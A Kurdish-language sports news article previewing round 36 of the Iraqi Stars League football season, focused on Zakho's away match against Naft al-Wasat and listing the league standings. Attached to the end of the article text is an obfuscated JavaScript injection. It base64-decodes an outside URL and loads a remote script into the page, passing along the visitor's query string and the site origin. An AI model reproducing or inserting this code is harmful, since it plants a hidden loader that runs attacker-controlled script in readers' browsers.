زاخۆ گەشبینە سێ خالان ژ یاریگەها كۆت بینت
بڕیارە ئەڤرۆ یاریێن گەڕا 36ێ ژ هەڤڕكیێن خولا ستێرێن ئیراقێ یا فوتبۆلێ ب ئەنجامدانا پێنج یارییان بهێنە كرن، یانەیا زاخۆ وەكو ئێكانە نوونەرا كوردستانێ دێ یارییا خوە بەرانبەر نەفت ئەلوەسەت كەت و سوبەهی هەرسێ نوونەرێن دی دهۆك، هەولێر و و نەورۆز ژی یاریێن خوە ئەنجامدان.
كوڕێن خابووری چاڤ ل رێزبەندییا چارێ یە.
بڕیارە ئەڤرۆ ل دمژمێر پێنجی ئێڤاری كوڕێن خابووری ل یاریگەها كۆت یا پارێزگەها واست ببیتە مێڤانا یانەیا نەفت ئەلوەسەت د یارییەكا ڤەكری دا و دەلیڤەیەك بۆ زاخۆییا ژبۆ گەهشتن بەر ب رێزبەندییا چارێ ب مەرجەكی خوسارەتیا نەجەف یا سوبەهی دگەل شورتە، زاخۆ د نوكە دا خودانا 62 خالانە ژ 16 سەركەفتن و 14 وەكهەڤییان و پێنج خوسارەتی، تیما نەقتا وەسەت ب تنێ 16 خال كۆمكرینە و رێزا 20ێ و دووماهیێ دهێت و ب فەرمی پاشڤەچوو و وەرزێ بهێت د خولا ستێرێن ئیراقێ دا یاریێ ناكەت، لێ ئەڤ چەندە نابیتە بوهانەك كو زاخۆ دێ ب سانەهی سەركەفتنێ ئینت، ل دووڤ ئامارێن یاریێن هەردو تیمان یانەیا زاخۆ پێنج سەركەفتن و حەفت وەكهەڤی و دو خوسارەتی هەنە.
ژ یاریێن دی یێن ئەڤرۆ، كەربەلا- ئەمانەت بەغدا، حدود كارەبا، نەفت میسان- كەرخ، تەلەبە- ئەلقاسم، بۆ زانین شورتە ب80 خالان سەرێ لیستێ دهێت، جەوییە ب75 خالان رێزا دویێ، زەورا ب72 خالان رێزا سێیێ، مەجەف ب63 خالان رێزا چارێ‌ـ زاخۆ ب62 خالان، دهۆك ب56 خال، نەورۆز ب51 خال رێزێن پێنجێ هەتا حەفتێ دهێن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
